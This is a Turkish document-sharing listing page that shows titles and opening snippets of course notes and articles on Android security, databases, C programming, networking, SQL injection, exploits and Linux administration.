BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER. BLM401 Dr.Refik SAMET BLM401 Mobil Cihazlar için ANDROİD İşletim Sistemi GÜVENLİK VE İZİNLER BLM401 Dr.Refik SAMET 1 GİRİŞ (1/3) Güvenlik, verilerin veya bilgilerin saklanması, kullanılması ve taşınması esnasında bilgilerin

Detaylı

VERİ TABANI ve YÖNETİMİ

VERİ TABANI ve YÖNETİMİ VERİ TABANI ve YÖNETİMİ Maltepe Üniversitesi Bilgisayar Mühendisliği Bölümü 2 BÖLÜM -10- FONKSİYONLAR 3 Giriş Geçen haftaki derslerimizde Görünümleri (View) ve Stored Procedure (SP) leri öğrendik. Bu hafta

Detaylı

WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı

WEB UYGULAMA GÜVENLİĞİ HAKKINDA. Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı WEB UYGULAMA GÜVENLİĞİ HAKKINDA Mesut Güngör İzmir Yüksek Teknoloji Enstitüsü Bilgi İşlem Daire Başkanlığı İçindekiler Bilinen en popüler web uygulama atakları Güvenli yazılım geliştirme Prosedürler Bilinen

Detaylı

Ayni sistem(host) üzerinde IPC. Ağ(network) aracılığı ile IPC

Ayni sistem(host) üzerinde IPC. Ağ(network) aracılığı ile IPC Ayni sistem(host) üzerinde IPC Prosesler Host P 1 P 2 P 3 IPC mekanizması OS kernel Ağ(network) aracılığı ile IPC Host A Host B Host C P 1 P 2 P 3 Ağ(Network) 1 Temel TCP/IP protokolleri OSI katmanları(layers)

Detaylı

Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME - NT4 bağlantısına çok benzer.

Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME - NT4 bağlantısına çok benzer. Seri kablo bağlantısında Windows95/98/ME'ten Windows 2000'e bağlantı Windows95/98/ME NT4 bağlantısına çok benzer. Direkt Kablo desteğini Windows95/98'e yükledikten sonra, Windows95 for Direct Cable Client

Detaylı

Programlama Dilleri. C Dili. Programlama Dilleri-ders02/ 1

Programlama Dilleri. C Dili. Programlama Dilleri-ders02/ 1 Programlama Dilleri C Dili Programlama Dilleri-ders02/ 1 Değişkenler, Sabitler ve Operatörler Değişkenler (variables) bellekte bilginin saklandığı gözlere verilen simgesel isimlerdir. Sabitler (constants)

Detaylı

Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir

Her Yönüyle SQL Enjeksiyonu. OWASP-Türkiye Bünyamin Demir Her Yönüyle SQL Enjeksiyonu OWASP-Türkiye Bünyamin Demir Bünyamin Demir ( @bunyamindemir ) OWASP Türkiye Bölüm Lideri Founder & CTO @ Enforsec Ltd. Sızma Testleri Uzmanı Web, Mobil, Network, SCADA, Wireless,

Detaylı

Multicore/Multithread Programlama

Multicore/Multithread Programlama Multicore/Multithread Programlama Onur Tolga Şehitoğlu Bilgisayar Mühendisliği 7 Şubat 2008 Başlıklar 1 Gereksinimi Dal ile Süreç Çok İşlemci ve Dal Modelleri Neden Çoklu Dal Programlama? 2 Çok İşlemci/Çok

Detaylı

Sol tarafta yer alan Click here to activate your account linkini seçiniz.

Sol tarafta yer alan Click here to activate your account linkini seçiniz. Öğrenci Bilgi Sistemi (OASIS) Kayıt İşlemleri OASIS kayıt işlemlerini gerçekleştirebilmek için; öncelikle kayıt işlemleri esnasında Öğrenci İşleri tarafından verilen öğrenci numarası ve e-posta adresinin

Detaylı

C Konsol ve Komut Satırı

C Konsol ve Komut Satırı C Konsol ve Komut Satırı Öğr. Gör. M. Ozan AKI Rev 1.0 C:\> Konsol ekranı, işletim sistemi ve dosya yönetiminin metin tabanlı yönetilebilmesini sağlayan arabirimdir. Windows işletim sistemi ortaya çıkmadan

Detaylı

Eln 1001 Bilgisayar Programlama I

Eln 1001 Bilgisayar Programlama I Eln 1001 Bilgisayar Programlama I GiriŞ / ǹk¹Ş Fonksiyonlar¹ Ne ÖĆreneceĆiz? Temel Giriş/Çıkış Yapısı Giriş Fonksiyonları Karakterler için giriş fonksiyonları Scanf fonksiyonu Formatlı giriş Çıkış Fonksiyonları

Detaylı

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek

Virtualmin'e Yeni Web Sitesi Host Etmek - Domain Eklemek Yeni bir web sitesi tanımlamak, FTP ve Email ayarlarını ayarlamak için yapılması gerekenler Öncelikle Sol Menüden Create Virtual Server(Burdaki Virtual server ifadesi sizi yanıltmasın Reseller gibi düşünün

Detaylı

KISIM I: HACKING B R ALAN OLARAK GÜVENL K

KISIM I: HACKING B R ALAN OLARAK GÜVENL K HACKING-icindekiler 5/20/10 12:06 AM Page vii Ç NDEK LER KISIM I: HACKING B R ALAN OLARAK GÜVENL K 3 TEHL KEN N FARKINDA MISINIZ? 5 HACKER, CRACKER vb. KAVRAMLARI 7 TAR HSEL SÜREÇ: HACKING 11 TC YASALARINDA

Detaylı

Bilgi Güvenliği Eğitim/Öğretimi

Bilgi Güvenliği Eğitim/Öğretimi Bilgi Güvenliği Eğitim/Öğretimi İbrahim SOĞUKPINAR Gebze Yüksek Teknoloji Enstitüsü İçerik Bilgi Güvenliği Eğitim/Öğretimi Dünyadaki Örnekler Türkiye deki Örnekler GYTE de Bilgi Güvenliği Dersi Sonuç ve

Detaylı

NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI

NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI NETFİLTER VE LİNUX TABANLI BİR FİREBOX TASARIMI Gürkan KARABATAK Fırat Üni. Enformatik Bölümü gkarabatak@firat.edu.tr Yrd.Doç.Dr Hasan H.BALIK Fırat Üni. Mühendislik Fakültesi balik@firat.edu.tr ÖZET Günümüzde

Detaylı

Squid i Follow X-Forwarded-For headers Yaması İle Patchlemek

Squid i Follow X-Forwarded-For headers Yaması İle Patchlemek /******************************************************** * Gökhan ALKAN * gokhan [at] enderunix [dot] org * EnderUNIX Yazılım Gelistirme Takımı * http://www.enderunix.org * * Sürüm : 1.0 * Tarih : 27.06.2006

Detaylı

ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ

ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ ASP.NET CLASS KULLANARAK VERİTABANI İŞLEMLERİ Asp.NET mimarisinin temelini oluşturan CLASS yapısını kullanarak veri tabanı işlemlerini nasıl daha az kodla ve daha stabil yapabiliriz bunu göreceğiz. Mevzu

Detaylı

Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ. Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı. 02 EKi. 2012 Salı. Öğr. Gör.

Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ. Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı. 02 EKi. 2012 Salı. Öğr. Gör. Ders Tanıtım Sunumu 08225 AĞ TEMELLERİ Elbistan Meslek Yüksek Okulu 2012 2013 GÜZ Yarıyılı 02 EKi. 2012 Salı Öğr. Gör. Murat KEÇECİOĞLU Dersin Adı Ders Tanıtım Bilgileri Ağ Temelleri Ders Kodu 08225 Yarıyıl

Detaylı

Oracle da kullanılan veri tipleri:

Oracle da kullanılan veri tipleri: ORACLE A GİRİŞ Oracle ile SQL Server ı karşılaştıralım, 1 Oracle da veritabanı yerine kullanıcı oluşturulur. Kullanıcılar veritabanı gibi davranır. 2 Tablo oluşturma, yapısını değiştirme, silme kodları

Detaylı

TESİ. indeks. söylenebilir?? bir ilişkidir d) Hiçbiri. veya somutlaştırılmış. düzeyidir? sağlayabilir? sına. d) Hepsi. olabilir? c) Verilerin d) Hepsi

TESİ. indeks. söylenebilir?? bir ilişkidir d) Hiçbiri. veya somutlaştırılmış. düzeyidir? sağlayabilir? sına. d) Hepsi. olabilir? c) Verilerin d) Hepsi 1. 2. 3. 4. 5. 6. Görünüm (view) için özellikle aşağıdakilerden hangisi söylenebilir?? a) Veritabanındaki kayıtlı verileri düzenlemek, yönetmek ve elde etmek için kullanılan bir dildir b) Bir ilişkinin

Detaylı

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri

İşletim Sistemleri. Dr. Binnur Kurt binnur.kurt@gmail.com. Omega Eğitim ve Danışmanlık http://www.omegaegitim.com. İşletim Sistemleri İşletim Sistemleri Dr. Binnur Kurt binnur.kurt@gmail.com Omega Eğitim ve Danışmanlık http://www.omegaegitim.com 1 S a y f a İÇİNDEKİLER 1. İşletim Sistemi 2. Kabuk 3. Prosesler 4. İplikler 5. İplikler

Detaylı

W3af ile Web Uygulama Güvenlik Testleri

W3af ile Web Uygulama Güvenlik Testleri W3af ile Web Uygulama Güvenlik Testleri Birkaç tıkla web sayfalarının, veritabanlarının hacklenebildiği, bir komutla kablosuz ağ şifrelerin kırıldığı günleri yaşıyoruz. Çok değil birkaç yıl öncesi sadece

Detaylı

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız.

1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. 1. Aşağıdaki program parçacığını çalıştırdığınızda result ve param değişkenlerinin aldığı en son değerleri ve programın çıktısını yazınız. [10 puan] int param = 30; int result = 300; if (param > 45) result

Detaylı

Proceedings/Bildiriler Kitabı II. YAZILIM G M I. G. 20-21 September /Eylül 2013 Ankara / TURKEY 167 6. ULUSLARARASI

Proceedings/Bildiriler Kitabı II. YAZILIM G M I. G. 20-21 September /Eylül 2013 Ankara / TURKEY 167 6. ULUSLARARASI , - kadar aktif bir beraberinde ik tehditler ile kurumsal olarak i. Anahtar Terimler, tehdit modelleme Abstract Many companies run their businesses, operations, branches and businesses with other partners,

Detaylı

Mifare Kart Yazıcı/Okuyucu Modül (MFM-200)

Mifare Kart Yazıcı/Okuyucu Modül (MFM-200) 2012 Mifare Kart Yazıcı/Okuyucu Modül (MFM-200) İstanbul Yazılım ve Elektronik Teknolojileri 01.01.2012 MFM-200 Mifare Kart Yazıcı/Okuyucu Modül Genel Özellikler Ürün Kodu MFM-200 Protokol ISO14443A, ISO15693

Detaylı

IDENTITY MANAGEMENT FOR EXTERNAL USERS

IDENTITY MANAGEMENT FOR EXTERNAL USERS 1/11 Sürüm Numarası Değişiklik Tarihi Değişikliği Yapan Erman Ulusoy Açıklama İlk Sürüm IDENTITY MANAGEMENT FOR EXTERNAL USERS You can connect EXTERNAL Identity Management System (IDM) with https://selfservice.tai.com.tr/

Detaylı

Kullanıcı ve Grupların yönetimi

Kullanıcı ve Grupların yönetimi Kullanıcı ve Grupların yönetimi Linux doğuşundan itibaren çok kullanıcılı bir işletim sistemi olmuştur. Bir çok kullanıcı aynı anda sisteme bağlanabilir vede sistemde aynı anda farklı uygulamaları çalıştırabilir.

Detaylı

Secure Networks Capabilities Dragon Network Defense

Secure Networks Capabilities Dragon Network Defense Secure Networks Capabilities Dragon Network Defense İlk olarak işletmenin devamlılığının sağlanması için network güvenliğini sağlamakla görevli önemli bir cihazdır. Netsight Policy Manager ile de birlikte

Detaylı

HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı

HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı HP Yazılım Zirvesi - İstanbul 20 May 2015 - Wyndham Grand Levent Erdem Alaşehir / Finansbank Güvenlik Olay Korelasyonunda Büyük Veri Kullanımı Ajanda Mevcut Durum Vertica ile Çözüm Analiz Mevcut Durum

Detaylı

Genel Kavramlar. Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar. Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler

Genel Kavramlar. Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar. Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler Genel Kavramlar Veri Nedir? Bilgisayar ortamında işlenebilecek durumda bulunan kayıtlar Veri Tabanı Nedir? Birbiri ile ilişkili veriler topluluğu ve veriler arası ilişkiler Veritabanı Yönetim Sistemi (DBMS)Nedir?

Detaylı

ACCESS PLATFORMUNDA SQL

ACCESS PLATFORMUNDA SQL ACCESS PLATFORMUNDA SQL (STRUCTURED QUERY LANGUAGE) KODLAMA ÖRNEKLERİ DISTINCT : Bir alanda birbirinin aynı kayıtlar bulunabilir. Öğrenciler tablosundaki aynı isimde öğrencilerin bulunması durumunda aynı

Detaylı

// hataları işaret eden referans

// hataları işaret eden referans System sınıfı java.lang.object java.lang.system public final class System extends Object System sınıfı, java.lang paketi içindedir. Platformdan bağımsız olarak sistem düzeyindeki eylemleri belirleyen dingin

Detaylı

Exploit Nedir, Nasıl Kullanılır?

Exploit Nedir, Nasıl Kullanılır? Exploit Nedir, Nasıl Kullanılır? İşletim sistemlerin çok kullanıcılı sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de sözkonusu olmuştur. Kişisel işletim Sistemlerinde

Detaylı

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi

Bil101 Bilgisayar Yazılımı I. M. Erdem ÇORAPÇIOĞLU Bilgisayar Yüksek Mühendisi Bil101 Bilgisayar Yazılımı I Bilgisayar Yüksek Mühendisi Editör Disk 1)Kaynak kodlar editör aracılığı ile oluşturulur. (.c) Kaynak dosya Önişleyici Disk 2)Önişleyici kodlar içerisindeki ilk işleme işini

Detaylı

BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI

BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI BIL411 - BİLGİSAYAR AĞLARI LABORATUVARI ITS-101A INTERNET EĞİTİM SİSTEMİ TCP/IP THE DOMAIN NAME SYSTEM (ALAN ADI SİSTEMİ) İstanbul Ticaret Üniversitesi Bilgisayar Mühendisliği Bölümü Araş. Gör. Can EYÜPOĞLU

Detaylı

Setup Yardımcı Programı

Setup Yardımcı Programı Setup Yardımcı Programı Kullanıcı Kılavuzu Copyright 2007 Hewlett-Packard Development Company, L.P. Windows, Microsoft Corporation şirketinin ABD'de tescilli ticari markasıdır. Bu belgede yer alan bilgiler

Detaylı

Ağ Yönetiminin Fonksiyonel Mimarisi

Ağ Yönetiminin Fonksiyonel Mimarisi Bölüm 7 Ağ Yönetimi Ağ Yönetiminin Fonksiyonel Mimarisi a) Performans (Performance) Yönetimi b) Sistem Ayarları (Configuration) Yönetimi c) Hesap (Account) t)yönetimi i d) Hata (Fault) Yönetimi e) Güvenlik

Detaylı

for döngüsü for (başlangıç değeri; şart; artım) ifade; for (başlangıç değeri; şart; artım) { ifadeler; }

for döngüsü for (başlangıç değeri; şart; artım) ifade; for (başlangıç değeri; şart; artım) { ifadeler; } for döngüsü for (başlangıç değeri; şart; artım) ifade; for (başlangıç değeri; şart; artım) ifadeler; Başlangıç değeri; koşul içinde tanımladığımız değişkene ilk değerin atanmasını sağlar. Koşul: Döngünün

Detaylı

Bu tehlikeli küçük(!) sahte exploiti çalışır hale getirip, inceleyelim. honeypot@honeypot:~/fake_exploit$ gcc -o 0pen0wn 0pen0wn.c

Bu tehlikeli küçük(!) sahte exploiti çalışır hale getirip, inceleyelim. honeypot@honeypot:~/fake_exploit$ gcc -o 0pen0wn 0pen0wn.c SAHTE EXPLOITLER Kullanıcı sayısının fazla olduğu bir yerel ağda sistem bütünlüğünü tehlikeli duruma sadece kullanıcıların dikkatsizliği (ki çoğu durumda sistem yöneticileri de dalgın olabiliyor) düşürmez.

Detaylı

T.C. KOCAELİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ

T.C. KOCAELİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ T.C. KOCAELİ ÜNİVERSİTESİ MÜHENDİSLİK FAKÜLTESİ ELEKTRONİK VE HABERLEŞME MÜHENDİSLİĞİ Mikroişlemci Uygulamaları Ders Projesi Beaglebone Black ile Android ve NFC Üzerinden Kapı Kontrolü Gökhan TARIM 100208090

Detaylı

Qt Temelleri. Eren BAŞTÜRK. basturkeren@gmail.com www.erenbasturk.com

Qt Temelleri. Eren BAŞTÜRK. basturkeren@gmail.com www.erenbasturk.com Qt Temelleri Eren BAŞTÜRK basturkeren@gmail.com www.erenbasturk.com Giriş Qt Gelişim Süreci Merhaba Dünya Uygulaması Qt Creator İle Merhaba Dünya Uygulaması Qt ile Uygulama Geliştirme Bölüm İçeriği Öğrenecekleriniz......

Detaylı

Proses. Prosesler 2. İşletim Sistemleri

Proses. Prosesler 2. İşletim Sistemleri 2 PROSESLER Proses Bir işlevi gerçeklemek üzere ardışıl bir program parçasının yürütülmesiyle ortaya çıkan işlemler dizisi Programın koşmakta olan hali Aynı programa ilişkinbirdenfazlaprosesolabilir. Görev

Detaylı

VERĐTABANI YÖNETĐM SĐSTEMLERĐ

VERĐTABANI YÖNETĐM SĐSTEMLERĐ VERĐTABANI YÖNETĐM SĐSTEMLERĐ Öğr.Gör.Sedat Telçeken ANADOLU ÜNĐVERSĐTESĐ FEN FAKÜLTESĐ MATEMATĐK BÖLÜMÜ 2005 2006 Bahar Dönemi D M L Bilindiği üzere SQL tablolar üzerinde sorgulama yapar. Bu sorgular

Detaylı

Kaynak Kod Güvenliği Bir Güvensiz API Örneği

Kaynak Kod Güvenliği Bir Güvensiz API Örneği Kaynak Kod Güvenliği Bir Güvensiz API Örneği Bedirhan Urgun, Ağustos 2010, WGT E-Dergi 6. Sayı Bu yazıda Tomcat J2EE kısmi uygulama sunucusunda bulunan bir güvenlik açığına, güvenlik probleminin kaynağına

Detaylı

Yazılım Kodlama ve İ simlendirme Standartları v1.0

Yazılım Kodlama ve İ simlendirme Standartları v1.0 Yazılım Kodlama ve İ simlendirme Standartları v1.0 İçerik Yazılım Kodlama ve İsimlendirme Standartları... 2 1. Amaç... Hata! Yer işareti tanımlanmamış. 2. Kapsam... Hata! Yer işareti tanımlanmamış. 3.

Detaylı

Setup Yardımcı Programı Kullanıcı Kılavuzu

Setup Yardımcı Programı Kullanıcı Kılavuzu Setup Yardımcı Programı Kullanıcı Kılavuzu Copyright 2007 Hewlett-Packard Development Company, L.P. Windows, Microsoft Corporation şirketinin ABD'de tescilli ticari markasıdır. Bu belgede yer alan bilgiler

Detaylı

8 Oracle da tablo yapısı içinde otomatik artan kolon yoktur. (identity kolon

8 Oracle da tablo yapısı içinde otomatik artan kolon yoktur. (identity kolon ORACLE GİRİŞ Oracle ile SQL Server ın karşılaştıralım. 1 Oracleda veritabanı yerine kullanıcı oluşturulur. Kullanıcılar veritabanı gibi davranır. 2 Tablo oluşturma, değiştirme ve silme kodları aynı. 3

Detaylı

Döngü (Loop) Deyimleri / Veri Belirleyicileri / Matematiksel Fonksiyonlar

Döngü (Loop) Deyimleri / Veri Belirleyicileri / Matematiksel Fonksiyonlar Bölüm 5 Döngü (Loop) Deyimleri / Veri Belirleyicileri / Matematiksel Fonksiyonlar İçindekiler 5.1 Formatlı Yazdırma............................ 34 5.2 Döngü Deyimleri............................. 34 5.2.1

Detaylı

CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0

CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0 CODEIGNITER SEMINERI KÜTÜPHANE YAZMA GÜVENLIK ÖNLEMLERI CODEIGNITER 2.0 Özgür Web Teknolojileri Günleri 2010 Yeditepe Üniversitesi, Airties Salonu 16 Ekim 2010 (14:00 14:45) Fatih BAZMAN (http://codeigniter.gen.tr)

Detaylı

Windows Đşletim Sistemleri AD Etki Alanı Grupları Đncelenmesi ve Güvenlik Ayarları

Windows Đşletim Sistemleri AD Etki Alanı Grupları Đncelenmesi ve Güvenlik Ayarları Windows Đşletim Sistemleri AD Etki Alanı Grupları Đncelenmesi ve Güvenlik Varsayılan yerel gruplar Domain Admins grup gibi varsayılan gruplar, Active Directory etki alanı oluştururken otomatik olarak oluşturulan

Detaylı

2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI

2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI 2013-14 GÜZ YY. - MKT103 - GÖRSEL PROGRAMLAMA DERSİ - ARA SINAVI KOÜ Mekatronik Mühendisliği Bölümü/MKT-103-Görsel Programlama Dersi - Ara Sınav J-grubu Ad-Soyad:...No:... J GRUBU-süre:70dk 1.) Aşağıdaki

Detaylı

Linux altında komut satırında...

Linux altında komut satırında... -Kabuk (Shell) Unix ve benzeri işletim sistemlerinde kullanıcının komut yazmasını sağlayan, bu komutları yorumlayarak gerekli işlemleri yapan programlara kabuk (shell) adı verilir. Linux da bir kullanıcı

Detaylı

B02.6 Karar Verme, Eşitlik ve Bağıntı Operatörleri

B02.6 Karar Verme, Eşitlik ve Bağıntı Operatörleri B02.6 Karar Verme, Eşitlik ve Bağıntı Operatörleri 49 Yrd. Doç. Dr. Yakup EMÜL, Bilgisayar Programlama Ders Notları (B02) Çalıştırılabilir C ifadeleri ya bir işlem gerçekleştirir ( girilen verilerin toplanması

Detaylı

PBS Betiği Hazırlama ve PBS Komutları. Feyza Eryol feyza@ulakbim.gov.tr

PBS Betiği Hazırlama ve PBS Komutları. Feyza Eryol feyza@ulakbim.gov.tr PBS Betiği Hazırlama ve PBS Komutları Feyza Eryol feyza@ulakbim.gov.tr İçerik TR-Grid Altyapısı PBS Betik Dili PBS Seçenekleri PBS Betiğinin Hazırlanması PBS Komutları Uygulamalar TR-Grid Altyapısı - I

Detaylı

10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI

10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI 10. DOSYA GİRİŞ ÇIKIŞ FONKSİYONLARI İkincil bellekte tanımlanmış bölgelere dosya denir. Her dosyanın bir ismi vardır. Ancak dosyaların isimlendirme kuralları sistemden sisteme göre değişebilmektedir. Dosya

Detaylı

Simetrik (Gizli) Kriptografik Sistemler Blok Şifreler Standartlaştırma. DES-Data Encryption Standard (Bilgi Şifreleme Standardı)

Simetrik (Gizli) Kriptografik Sistemler Blok Şifreler Standartlaştırma. DES-Data Encryption Standard (Bilgi Şifreleme Standardı) Bilgi Güvenliği Simetrik (Gizli) Kriptografik Sistemler Blok Şifreler Standartlaştırma DES-Data Encryption Standard (Bilgi Şifreleme Standardı) Düzmetin (64 bit) Başlangıç Permütasyonu 58 50 42 34 26 18

Detaylı

Değişkenler tanımlanırken onlara ne tür veriler atanabileceği de belirtilir. Temel veri türleri oldukça azdır:

Değişkenler tanımlanırken onlara ne tür veriler atanabileceği de belirtilir. Temel veri türleri oldukça azdır: C VERİ TÜRLERİ BASİT VERİ TÜRLERİ Değişkenler, program içinde üzerinde işlem yapılan, veri saklanan ve durumlarına göre programın akışı sağlanan nesnelerdir. C de bir değişken kullanılmadan önce tanımlanmalıdır.

Detaylı

İnternet Yapılandırma Gereksinimleri. PC lerin Yapılandırılması. Windows XP altında ayar yapılması

İnternet Yapılandırma Gereksinimleri. PC lerin Yapılandırılması. Windows XP altında ayar yapılması İnternet Yapılandırma Gereksinimleri Giriş Noktanızı AP Yöneticisine bağlamak için, bilgisayarınızın TCP/IP ayarında aşağıdaki yapılandırma parametrelerini yapılandırmanız gerekmektedir: Statik IP Adresi:

Detaylı

Arabellek Taşmaları. Aşağıdakileri sağlamak. Uygulamalar kendilerini hatalı bileşenlerin etkilerine açık bırakmazlar

Arabellek Taşmaları. Aşağıdakileri sağlamak. Uygulamalar kendilerini hatalı bileşenlerin etkilerine açık bırakmazlar Arabellek Taşmaları Amaç Aşağıdakileri sağlamak. Uygulamalar kendilerini hatalı bileşenlerin etkilerine açık bırakmazlar Uygulamalar mümkün olduğunca az arabellek taşmaları barındırırlar Arabellek taşmalarına

Detaylı

İÇİNDEKİLER İÇİNDEKİLER KODLAB

İÇİNDEKİLER İÇİNDEKİLER KODLAB İÇİNDEKİLER V İÇİNDEKİLER 1 WEB UYGULAMALARI GÜVENLİĞİ 1 Başlangıç 1 Bug Researcher Nedir? 3 İyi Niyetli Bug Researcher 3 Kötü Niyetli Bug Researcher 3 Bug Researcher ve Güvenlik Açıkları 4 HTTP Nedir?

Detaylı

BM102 BİLGİSAYAR PROGRAMLAMA II LABORATUVAR UYGULAMALARI. 3Hafta

BM102 BİLGİSAYAR PROGRAMLAMA II LABORATUVAR UYGULAMALARI. 3Hafta Ön bilgi: Özyineli fonksiyon tanımlanabilmeli. Dizilerin fonksiyon parametresi veya geri dönüş değeri olarak kullanımı bilinmeli. 1. Klavyeden girilen sayı n olmak üzere [1..n] aralığındaki sayıların toplamı

Detaylı

Ağ Altyapısı ve Dağıtılmış İşlem

Ağ Altyapısı ve Dağıtılmış İşlem Ağ Altyapısı ve Dağıtılmış İşlem Ahmet Burak Can Hacettepe Üniversitesi abc@cs.hacettepe.edu.tr Dağıtılmış İşlem Bilgisayar ağlarında dağıtılmış işlem temel olarak iki bağlamda düşünülür: Ağ düzeyi Birlikte

Detaylı

Ağ Altyapısı ve Dağıtılmış İşlem

Ağ Altyapısı ve Dağıtılmış İşlem Ağ Altyapısı ve Dağıtılmış İşlem Ahmet Burak Can Hacettepe Üniversitesi abc@cs.hacettepe.edu.tr Dağıtılmış İşlem Bilgisayar ağlarında dağıtılmış işlem temel olarak iki bağlamda düşünülür: Ağ düzeyi Birlikte

Detaylı

Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi

Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi Açık Kaynak Kodlu Optik Sınav Kağıtları Depolama Sistemi Kerem Erzurumlu Aykut Karakaya kerem@linux.org.tr aykut.karakaya@bil.omu.edu.tr Ondokuz Mayıs Üniversitesi Bilgisayar Mühendisliği Bölümü Gereksinim

Detaylı

Bunyamin Demir, , webguvenligi.org, 20/01/2011 ORACLE VERĠTABANI TRAFĠĞĠNĠN GÜVENLĠĞĠ

Bunyamin Demir, <bunyamindemir at gmail dot com>, webguvenligi.org, 20/01/2011 ORACLE VERĠTABANI TRAFĠĞĠNĠN GÜVENLĠĞĠ Bunyamin Demir, , webguvenligi.org, 20/01/2011 ORACLE VERĠTABANI TRAFĠĞĠNĠN GÜVENLĠĞĠ Oracle veritabanında, veritabanına yetkili erişim olmadan verinin elde edilebilmesi

Detaylı

C Programlama Dilininin Basit Yapıları

C Programlama Dilininin Basit Yapıları Bölüm 2 C Programlama Dilininin Basit Yapıları İçindekiler 2.1 Sabitler ve Değişkenler......................... 13 2.2 Açıklamalar (Expresions)........................ 14 2.3 İfadeler (Statements) ve İfade

Detaylı

SQL PROGRAMLAMA. Bir batch, bir arada bulunan bir dizi SQL deyimidir. Batch ayıracı GO deyimidir.

SQL PROGRAMLAMA. Bir batch, bir arada bulunan bir dizi SQL deyimidir. Batch ayıracı GO deyimidir. SQL PROGRAMLAMA BATCH Bir batch, bir arada bulunan bir dizi SQL deyimidir. Batch ayıracı deyimidir. SELECT. UPDATE...... DELETE.. BATCH BATCH Özellikleri 1- Bir batch içinde bir deyimde yazım hatası olduğunda

Detaylı

BİLİŞİM TEKNOLOJİLERİ

BİLİŞİM TEKNOLOJİLERİ T.C. MİLLÎ EĞİTİM BAKANLIĞI BİLİŞİM TEKNOLOJİLERİ VERİ TABANI YÖNETİMSEL FONKSİYONLARI Ankara, 2013 Bu modül, mesleki ve teknik eğitim okul/kurumlarında uygulanan Çerçeve Öğretim Programlarında yer alan

Detaylı

AĞ GÜVENLİĞİ DERSİ. Donanımsal ağ güvenliğini ve bakımını sağlamak Yazılımsal ağ güvenliğini ve bakımını sağlamak. Ağ Güvenliği (Donanım)

AĞ GÜVENLİĞİ DERSİ. Donanımsal ağ güvenliğini ve bakımını sağlamak Yazılımsal ağ güvenliğini ve bakımını sağlamak. Ağ Güvenliği (Donanım) AĞ GÜVENLİĞİ DERSİ Dersin Modülleri Ağ Güvenliği (Donanım) Ağ Güvenliği (Yazılım) Kazandırılan Yeterlikler Donanımsal ağ güvenliğini ve bakımını sağlamak Yazılımsal ağ güvenliğini ve bakımını sağlamak

Detaylı

«BM364» Veritabanı Uygulamaları

«BM364» Veritabanı Uygulamaları HAFTA 6 T-SQL ile Programlar Yazmak" Yaşar GÖZÜDELİ ygozudeli@verivizyon.com http://blog.verivizyon.com/ygozudeli «BM364» Veritabanı Uygulamaları Konu Akışı Programlama dili olarak T-SQL Fonksiyonlar Programlamak

Detaylı

Packet tracer arayüzü yukarıdaki şekilden de görüldüğü gibi üç ana araç çubuğundan oluşmaktadır.

Packet tracer arayüzü yukarıdaki şekilden de görüldüğü gibi üç ana araç çubuğundan oluşmaktadır. Lab1 Packet Tracer Arayüzü ve Komut Satırı Kullanımı Packet tracer arayüzü yukarıdaki şekilden de görüldüğü gibi üç ana araç çubuğundan oluşmaktadır. Main Toolbar: Sırayla, New: yeni çalışma alanı oluşturma,

Detaylı

Güvenlik Kullanıcı Kılavuzu

Güvenlik Kullanıcı Kılavuzu Güvenlik Kullanıcı Kılavuzu Copyright 2009 Hewlett-Packard Development Company, L.P. Bu belgede yer alan bilgiler önceden haber verilmeksizin değiştirilebilir. HP ürünleri ve hizmetlerine ilişkin garantiler,

Detaylı

Php Programlama Dili MySQL Uygulamaları

